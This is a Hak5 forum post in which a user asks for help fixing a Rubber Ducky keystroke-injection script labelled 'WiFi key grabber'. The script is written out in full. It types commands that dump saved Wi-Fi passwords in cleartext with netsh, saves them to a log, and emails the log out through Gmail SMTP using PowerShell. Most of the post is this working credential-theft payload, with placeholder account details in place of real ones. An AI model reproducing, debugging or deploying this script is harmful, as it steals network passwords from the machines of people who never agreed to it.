Jump to content
Hak5 Forums

Recommended Posts

Hello so i found a script and i needed help because i was getting alot of errors and i couldnt seem to fix it so i came here

What is says is was unexpected at this time and then this is the email i get:

SSID: %A%
Network type: %B%
Authentication: %C%
SSID: %A%
Network type: %B%
Authentication: %C%
SSID: "%A%:~1%"
Network type: %B%
Authentication: %C%

and  This is my script

GUI r
DELAY 200
STRING cmd
ENTER
DELAY 500
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A% in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A%
ENTER
STRING set A="%A%:~1%"
ENTER
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTER
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A%
ENTER
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A%
ENTER
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A%
ENTER
STRING del A.txt
ENTER
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('Hereitypedmyemail@gmail.com', 'hereitypedmypassword')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'hereitypedmyemail@gmail.com'
ENTER
STRING $ReportEmail.To.Add('hereitypedmyemail@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'WiFi key grabber'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING
ENTER
DELAY 500
STRING
ENTER
DELAY 2000
STRING
ENTER
DELAY 200
STRING
ENTER

 

Please help

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

  • Recently Browsing   0 members

    No registered users viewing this page.

×